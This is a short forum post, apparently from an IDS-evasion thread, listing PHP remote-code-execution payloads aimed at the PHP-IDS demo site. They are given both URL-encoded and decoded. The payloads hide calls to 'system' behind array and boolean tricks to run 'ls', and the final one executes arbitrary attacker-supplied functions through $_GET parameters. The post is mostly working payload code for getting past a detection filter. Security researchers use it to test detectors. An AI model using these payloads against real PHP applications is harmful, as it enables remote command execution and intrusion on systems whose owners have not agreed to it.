More PHP RCE:
http://demo.php-ids.org/?test=%22%3B%7Bif%20%28true%29%20%24_a%5B%5D%20%20%3D%20system%3B%0A%24_a%5B0%5D%28%20%22ls%22%29%3B%20%7D%20//
";{if (true) $_a[] = system;
$_a[0]( "ls"); } //
";{if (1) $_a[] = system;
$_a[0]( "ls"); } //
Other ways of getting 'true' http://demo.php-ids.org/?test=%22%3B%7Bif%20%28%21%28%24_b%5B%5D%2b%2b%251%29%29%20%24_a%5B%5D%20%20%3D%20system%3B%0A%24_a%5B0%5D%28%20%22ls%22%29%3B%20%7D%20//
";{if (!($_b[]++%1)) $_a[] = system;
$_a[0]( "ls"); } //
";{if (pi) $_a[] = system;
$_a[0]( "ls"); } //
";{if (!a instanceof b) $_a[] = system;
$_a[0]( "ls"); } //
EDIT: This gets caught (Score: 17), I just thought it was cool http://demo.php-ids.org/?test=%22%3B%7Bif%20%28%24_l%5B%5D%3D_GET%29%20%24_l%3D%26%20%24%24_l%20%5B0%5D%3B%20//%0A%24_a%5B%5D%20%3D%24_l%20%5Bb%5D%20%3B%0A%24_a%20%5B0%5D%20%28%24_l%20%5B%20a%20%5D%20%29%3B%7D%20//:
";{if ($_l[]=_GET) $_l=& $$_l [0]; //
$_a[] =$_l ;
$_a [0] ($_l [ a ] );} //
It executes $_GET['b']($_GET['a']);
-tx @ lowtech-labs.org
Edited 4 time(s). Last edit at 12/18/2007 03:49PM by tx.